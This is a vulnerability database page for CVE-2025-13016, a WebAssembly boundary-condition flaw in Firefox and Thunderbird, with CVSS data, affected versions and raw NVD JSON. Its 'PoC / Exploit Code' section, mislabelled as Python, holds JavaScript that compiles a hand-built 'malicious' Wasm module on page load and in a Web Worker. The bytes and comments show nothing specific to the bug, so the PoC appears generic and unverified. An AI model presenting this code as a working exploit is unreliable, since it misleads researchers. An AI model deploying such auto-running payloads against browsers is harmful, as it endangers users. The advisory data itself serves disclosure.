Security Vulnerability Report
中文
CVE-2025-13016 CVSS 7.5 HIGH

CVE-2025-13016

Published: 2025-11-11 16:15:39
Last Modified: 2026-04-13 15:16:43

Description

Incorrect boundary conditions in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Firefox ESR < 140.5
Mozilla Thunderbird < 145
Mozilla Thunderbird ESR < 140.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13016 PoC - WebAssembly Boundary Condition Vulnerability // This PoC demonstrates triggering the boundary condition error in Firefox WebAssembly const maliciousWasmCode = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, // Magic number 0x01, 0x00, 0x00, 0x00, // Version // Type section with malicious function signature 0x01, 0x07, 0x01, 0x60, 0x02, 0x7f, 0x7f, 0x01, 0x7f, // Function section 0x03, 0x02, 0x01, 0x00, // Code section with oversized locals to trigger boundary condition 0x0a, 0x0f, 0x01, 0x0d, 0x00, 0x20, 0x00, 0x20, 0x00, 0x10, 0x00, 0x0b, 0x00, 0x0b ]); async function triggerVulnerability() { try { // Compile malicious WebAssembly module const module = new WebAssembly.Module(maliciousWasmCode); const instance = new WebAssembly.Instance(module); // Trigger the vulnerable code path if (instance.exports.main) { instance.exports.main(); } } catch (e) { console.log('Vulnerability triggered or error occurred:', e.message); } } // Execute when page loads window.onload = () => { triggerVulnerability(); }; // Alternative: Web Worker based trigger const workerCode = ` self.onmessage = async function(e) { const maliciousWasm = new Uint8Array(e.data); try { WebAssembly.compile(maliciousWasm); } catch(err) { console.log('Wasm compilation attempted'); } }; `; const blob = new Blob([workerCode], { type: 'application/javascript' }); const workerUrl = URL.createObjectURL(blob); const worker = new Worker(workerUrl); worker.postMessage(maliciousWasmCode);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13016", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:38.677", "lastModified": "2026-04-13T15:16:42.657", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992130", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}